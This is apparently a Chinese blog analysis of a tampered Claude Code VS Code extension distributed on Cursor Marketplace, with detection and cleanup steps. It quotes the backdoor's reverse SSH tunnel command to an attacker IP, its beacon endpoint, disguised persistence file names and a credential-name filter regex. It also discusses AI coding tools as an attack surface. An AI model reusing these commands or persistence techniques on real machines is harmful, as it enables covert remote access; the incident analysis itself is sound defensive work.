这篇文章值得认真看一下。它不是普通的 VS Code 插件漏洞,而是一次典型的 AI 编程工具供应链攻击(Software Supply Chain Attack)。

最值得警惕的地方是:攻击者把后门植入了 Claude Code 的 VS Code 扩展包。开发者只要在 Cursor 中安装并加载这个扩展,就可能在不知情的情况下,让自己的电脑变成攻击者可以远程登录的机器。

而且,这个后门不是简单地偷几个文件、读取 API Key,而是试图建立一个长期存在的 SSH 远程访问通道。

安全事件 Claude Code for VS Code 扩展分发包被篡改,后门试图建立长期 SSH 远程访问通道 受影响版本 2.1.312 / 2.1.313 分发渠道 Cursor Marketplace 披露时间 2026-10-30

一、到底发生了什么?

Phorion 的安全研究人员发现,Cursor Marketplace 中分发的官方 Claude Code for VS Code 扩展遭到篡改。

受影响的版本:

  • 2.1.312
  • 2.1.313

注意,这里有一个很重要的细节:

被攻击的不是 Claude Code 的模型,也不是 Claude Code CLI 本身,而是 VS Code 扩展的分发包。

Claude Code 有多种使用方式:

  • 命令行 CLI。
  • VS Code / Cursor 等编辑器中的扩展。
  • 其他集成方式。

这次事件针对的是通过 Cursor Marketplace 分发的 VS Code 扩展包。不能据此认为所有 Claude Code 使用方式都受到了影响。

Cursor 已经从 Marketplace 移除了这两个受影响版本。

二、攻击者是如何植入后门的?

这部分是整篇文章最有技术含量的地方。

研究人员发现,恶意代码被直接插入了扩展的 extension.js 文件。

正常情况下,一个 VS Code 扩展大致有这样的生命周期:

const vscode = require('vscode');

function activate(context) {
    // 扩展被激活时执行
}

function deactivate() {
    // 扩展停用时执行
}

module.exports = {
    activate,
    deactivate
};

但是被篡改的版本,在原始代码前面插入了一段 IIFE:

(function () {
    // 恶意代码
})();

// 原来的 Claude Code 扩展代码

IIFE 就是立即执行函数表达式。

它的特点是:JavaScript 文件一旦被 Node.js 加载,这段代码就会立即执行,不需要等 VS Code 调用扩展的 activate()。

这意味着:

  1. 用户安装了恶意扩展。
  2. Cursor 加载扩展的 JavaScript 文件。
  3. 恶意代码立即执行。
  4. 正常的 Claude Code 扩展代码甚至还没开始激活,后门就已经开始部署。

恶意代码使用了 Node.js 自带的模块:

  • child_process:执行系统命令。
  • fs:读写文件。
  • os:获取操作系统信息。
  • path:处理文件路径。
  • http:发送网络请求。
  • crypto:计算哈希等。

这里有个值得注意的安全问题:

VS Code 扩展并不是一个权限隔离的沙箱。

扩展通常以当前用户的身份运行,因此能够访问当前用户有权限访问的文件、SSH 配置、环境变量和开发工具。

这也是为什么一个看起来只是 AI 编程助手的扩展,实际上可能拥有非常大的攻击面。

三、后门具体做了什么?

整个攻击链可以拆成四个阶段。

后门攻击链:四个阶段 1 植入 SSH 公钥 向 ~/.ssh/authorized_keys 追加注释为 svc-telemetry 的攻击者公钥 2 建立反向 SSH 隧道 主动连出,把受害者本机 22 端口反向映射到攻击者服务器 3 建立持久化机制 LaunchAgent / Cron / 计划任务,并每约 60 秒重连隧道 4 收集主机信息并外传 HTTP POST → 134.209.82.225:8099/beacon

1. 在 SSH 中植入攻击者的公钥

恶意程序首先找到用户的 SSH 配置目录:

~/.ssh/

然后向下面这个文件追加一条攻击者控制的公钥:

~/.ssh/authorized_keys

攻击者公钥的注释是:

svc-telemetry

这里需要理解 SSH 的一个基本机制。

SSH 公钥认证通常是这样的:

  • 用户自己持有私钥。
  • 服务器保存用户的公钥。
  • 用户连接服务器时,用私钥证明自己拥有对应的身份。
  • 服务器通过 authorized_keys 判断是否允许登录。

正常情况下,我们会把自己的公钥添加到服务器的 authorized_keys,这样就不用每次输入密码。

而这次攻击反过来了:

攻击者把自己的公钥偷偷添加到受害者电脑的 authorized_keys。

这意味着,只要攻击者能够连接到受害者电脑的 SSH 服务,就可以使用自己持有的私钥登录受害者的账户。

而且不需要知道受害者的密码。

这一步非常关键,因为它把一个普通的恶意程序,变成了一个具备长期远程登录能力的后门。

2. 建立反向 SSH 隧道

仅仅修改 authorized_keys 还不够。

攻击者还需要能够从外部访问受害者的电脑。

但现实中,开发者的电脑往往处于:

  • 家庭路由器 NAT 后面。
  • 公司内网。
  • 云服务器防火墙之后。
  • 没有公网 IP 的网络环境。

攻击者很难直接连接到受害者的 SSH 端口 22。

于是,恶意程序采用了一个很巧妙的办法:Reverse SSH Tunnel(反向 SSH 隧道)。

它连接攻击者控制的服务器:

134.209.82[.]225

执行的 SSH 命令核心是:

ssh -N -R '*:0:localhost:22' tunnel@134.209.82.225

我们拆开来看:

参数含义
-N不执行远程 Shell 命令,只建立隧道
-R建立远程端口转发
*:0让远程 SSH 服务器动态分配监听端口
localhost:22将流量转发到受害者本机 SSH 的 22 端口

这里有一个很值得理解的网络知识。

正常 SSH 是:

攻击者电脑 ──────────> 受害者电脑:22

但是受害者电脑可能处于 NAT 后面,外部无法直接访问。

反向 SSH 则是:

受害者电脑 ──────────> 攻击者服务器
        主动建立连接

然后攻击者通过已经建立的连接,反过来访问受害者电脑:

反向 SSH 隧道:为什么 NAT 挡不住 直接连接:失败 攻击者电脑 公网主动发起连接 被 NAT / 防火墙阻断 受害者电脑 位于内网,无公网 IP 反向隧道:由受害者主动连出 受害者电脑 本机 SSH :22 攻击者服务器 134.209.82.225 动态分配远程监听端口 允许远程端口转发 攻击者电脑 连入分配到的端口 ① 主动连出 ssh -N -R ③ 反向连入 ④ 流量经隧道转发到 localhost:22 ② 服务器拿到已建立的连接;⑤ 攻击者用植入的私钥认证;⑥ 获得交互式 Shell

整个过程是:

  1. 受害者主动向攻击者服务器建立 SSH 连接。
  2. 攻击者服务器分配一个远程监听端口。
  3. 攻击者连接这个远程端口。
  4. 流量通过已经建立的 SSH 隧道转发到受害者的 localhost:22。
  5. 攻击者使用之前植入的 SSH 私钥认证。
  6. 获得受害者电脑的交互式 Shell。

这就绕过了很多网络环境下的入站连接限制。

注意,反向隧道并不是绕过了所有防火墙:它仍然需要受害者能够向外建立 SSH 连接,而且攻击者服务器必须允许相应的远程端口转发。

3. 建立持久化机制

如果只启动一个 SSH 进程,用户重启电脑,后门就消失了。

攻击者当然不会满足于此。

恶意程序针对不同操作系统设计了不同的持久化方案。

macOS:LaunchAgent

创建:

~/Library/LaunchAgents/
com.apple.sysmond.plist

伪装成苹果系统服务,设置 RunAtLoad=true 和 KeepAlive=true,让系统登录时自动运行,并在进程退出后重新启动。

Linux:Cron

创建隐藏脚本:

~/.config/.smt
~/.config/.smtk

然后通过用户 crontab 添加 @reboot,实现开机自动运行。

Windows:计划任务

尝试创建名为 SysMon 的计划任务,以 SYSTEM 身份启动。

如果权限不足,则退化到用户 Startup 启动目录:

%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd

此外,它还会在后台运行一个循环,每隔约 60 秒尝试重新建立 SSH 隧道。

所以,即使用户关闭 Cursor,甚至重启电脑,恶意程序仍然可能继续运行。

这就是为什么单纯卸载 Claude Code 扩展是不够的。

4. 收集主机信息并发送给攻击者

最后,恶意程序还会收集一些主机信息:

收集内容作用
Hostname识别目标机器
Username识别当前用户
OS / Architecture判断操作系统和架构
Home Directory获取用户目录
Git Email获取开发者身份线索
Public IP获取公网 IP
工作目录了解开发环境
环境变量名称识别可能存在的凭据

其中有个细节很有意思。

它会过滤环境变量名称:

/KEY|TOKEN|SECRET|PASS|AWS|GCP/i

比如:

OPENAI_API_KEY
ANTHROPIC_API_KEY
AWS_SECRET_ACCESS_KEY
GITHUB_TOKEN
DATABASE_PASSWORD

但它收集的是变量名,不是变量的实际值。

也就是说,这一步主要是进行侦察,帮助攻击者了解受害者机器上可能存在什么样的凭据。

真正获得远程 Shell 之后,攻击者理论上可以进一步访问这些凭据。

收集的信息会通过 HTTP POST 发送到:

134.209.82[.]225:8099/beacon

而且使用的是普通 HTTP,并非 HTTPS。

四、这个攻击为什么没有完全成功?

这篇文章有一个很有意思的技术细节:恶意代码本身存在 Bug。

而且这个 Bug 意外地降低了攻击成功率。

macOS 的权限判断错误

恶意程序想要开启 macOS 的 SSH 服务,使用了:

sudo -n systemsetup -setremotelogin on

但在执行之前,它会先检查 SSH 是否已经开启:

systemsetup -getremotelogin

问题在于,普通用户执行这个命令时,macOS 会返回:

You need administrator access to run this tool...

而不是:

Remote Login: Off

恶意程序的判断逻辑是:

if (/Off/i.test(rl)) {
    // 开启 SSH
}

结果:

  • 它想检查 SSH 是否关闭。
  • 但因为没有管理员权限,拿到的是错误提示。
  • 错误提示中不包含 Off。
  • 程序误以为 SSH 已经开启。
  • 因此跳过开启 SSH 的步骤。

这就是一个典型的错误状态处理问题:

无法确认状态,被错误地当成了状态已经满足。

这会导致什么?

即使攻击者成功建立了反向 SSH 隧道,如果受害者本地 SSH 服务没有运行,隧道最终也无法连接到 localhost:22。

不过,如果 SSH 本来就开启了,攻击链仍然可能成功。

另外,Windows 路径也存在一个问题:它把 PowerShell 命令交给了一个硬编码使用 /bin/sh 的执行函数,因此正常 Windows 环境下也很难完成 SSH 服务安装。

还有一个重要区别:Phorion 分析了 Linux 路径的持久化逻辑,但 Cursor 官方公告明确确认的受影响分发包是 macOS 和 Windows 版本。不能把 Phorion 对 Linux 代码路径的分析直接等同于 Cursor 已确认 Linux 版本也遭到分发攻击。

五、如何检测自己的电脑是否中招?

Cursor 官方已经发布了安全公告,并提供了检测和清理脚本。

下文的检测与清理步骤以 Windows 为例。

1. 检查 SSH 公钥

打开 PowerShell,执行 Cursor 官方提供的检查命令:

$files = "$HOME\.ssh\authorized_keys",
         "C:\ProgramData\ssh\administrators_authorized_keys" |
         Where-Object { Test-Path $_ }

if ($files -and (Select-String svc-telemetry $files)) {
    "svc-telemetry key found"
} else {
    "No key found; machine not impacted"
}

如果出现:

svc-telemetry key found

说明发现了攻击者植入的 SSH 公钥。

如果没有发现,也不要仅凭这一个结果就认定机器绝对安全,因为还需要结合扩展版本、安装时间和其他行为指标判断。

2. 检查其他后门文件

Windows 下重点关注:

%USERPROFILE%\.config\smt.cmd
%USERPROFILE%\.config\smtk
%TEMP%\.stk_*

还要检查:

  • 计划任务 SysMon
  • Startup 目录中的 sysmon.cmd
  • 是否存在连接 134.209.82.225 的 SSH 进程

3. 如果确认中招,怎么处理?

Cursor 官方提供了 Windows 清理脚本:

官方建议使用管理员权限运行 PowerShell:

powershell -ExecutionPolicy Bypass -File .\remediate-windows.ps1

如果确认感染,建议:

  1. 先隔离受影响机器,避免继续暴露。
  2. 清除恶意扩展、SSH 公钥、持久化脚本和计划任务。
  3. 检查 SSH 登录记录及异常网络连接。
  4. 从可信设备轮换这台机器能够访问的 API Key、GitHub Token、云平台凭据等。
  5. 根据入侵证据评估是否需要重装系统。

特别提醒:不要只卸载扩展。因为它已经把独立的持久化脚本写入了系统。

六、这次事件还有哪些值得注意的地方?

我认为有三个值得深入思考的地方。

第一,官方扩展不等于可信的分发渠道。

这次事件特别容易让人产生误解:

Claude Code 是 Anthropic 开发的,扩展名称也是 Anthropic.claude-code,但这并不代表 Cursor Marketplace 分发的每个包都经过 Anthropic 官方验证。

Cursor 官方明确表示,这两个恶意版本不是 Anthropic 开发的。

这里实际上涉及三个不同角色:

供应链攻击发生在哪一环? Anthropic 开发官方扩展 Claude Code VS Code Extension 扩展分发包 Cursor Marketplace 扩展分发(攻击者篡改了这一环) 开发者电脑 用户安装后加载扩展 攻击者 无需入侵源码仓库

攻击者破坏的是分发链路中的扩展包,而不是必须入侵 Anthropic 的源代码仓库。

这就是典型的供应链攻击。

第二,开发者电脑是一个非常有价值的攻击目标。

普通用户电脑可能只有浏览器、文档和个人文件。

但开发者电脑往往有:

  • GitHub / GitLab 访问凭据。
  • AWS、阿里云、腾讯云等云平台凭据。
  • 数据库连接信息。
  • SSH 私钥。
  • Docker Registry 凭据。
  • 各种 AI API Key。
  • 公司源代码和内部文档。

攻击者只需要控制一台开发者电脑,就可能获得进入公司内部系统的入口。

尤其是使用 AI Coding Agent 的开发者,通常会给工具开放终端、文件系统和项目目录的访问能力。

因此,开发者电脑实际上已经是一个非常重要的安全边界。

第三,AI Coding Agent 的权限问题会越来越突出。

这次虽然攻击入口是 VS Code 扩展,但值得警惕的是整个 AI 编程工具生态:

  • Claude Code
  • Codex
  • Cursor
  • OpenClaw
  • 各种 MCP Server
  • 各种 Agent Skills

这些工具越来越多地获得执行 Shell、读写文件、访问网络、调用外部服务的能力。

这使得它们不再只是一个普通的软件插件,而是一个具有较高系统权限的执行环境。

一旦工具本身、扩展、Skill 或 MCP Server 被污染,攻击者就可能借用这些权限完成攻击。

七、对经常使用 Claude Code / Codex 的开发者,有什么建议?

我觉得可以总结成几个实际可执行的原则:

安全措施建议
插件来源尽量使用官方分发渠道,避免第三方重新打包
版本管理不要对关键开发工具盲目自动更新
权限隔离AI Agent 不要默认拥有整台机器的全部权限
凭据管理API Key、SSH 私钥尽量不要暴露在 Agent 可随意读取的目录
网络权限对不必要的外部网络连接进行限制
环境隔离高风险 Agent 尽量在 Docker、VM 或独立开发环境运行
安全审计定期检查 SSH 公钥、计划任务、启动项

特别是 Docker 隔离,我想多说一句:

很多人认为把 Claude Code 放进 Docker 就安全了。

其实不一定。

如果你把下面这些东西挂载进去:

~/.ssh
~/.aws
~/.config
/var/run/docker.sock
整个项目目录

那么容器里的恶意程序依然可能获得非常大的权限。

隔离的关键不是用了 Docker,而是限制容器能够访问什么资源,以及能够向哪里发起网络连接。

八、我的最终判断

建议开发者检查 重点是 Windows 开发环境;只卸载扩展并不够 检查 SSH 公钥:搜索 svc-telemetry 检查后门文件、计划任务 SysMon 与 Startup 启动项 检查是否存在连接 134.209.82.225 的 SSH 进程 确认中招:隔离机器 → 清理持久化 → 轮换凭据 → 评估重装

这次事件的影响范围有一定边界:

  • Cursor 官方确认受影响的是 Cursor VS Code Extension Marketplace 中的 2.1.312 和 2.1.313。
  • 受影响分发时间为 2026 年 10 月 29 日 2:27 AM 至 1:35 PM(太平洋时间)。
  • 官方表示攻击者服务器已经被关闭。
  • 官方没有发现其他版本或官方分发渠道受到影响的证据。

但已经运行过恶意扩展的机器,不能因为攻击服务器下线就认为安全。植入的 SSH Key 和持久化机制仍然需要清理。

我认为这次事件真正值得警惕的,不是 Claude Code 出了问题,而是:

AI 编程工具正在成为开发者电脑上权限最高、接触数据最多的软件之一。

过去我们安装一个 VS Code 插件,主要担心它有没有 Bug、会不会影响编辑器性能。

现在安装一个 AI 编程扩展,实际上是在决定是否允许一段第三方代码访问自己的开发环境、执行系统命令、读取项目文件。

这个信任级别,已经完全不一样了。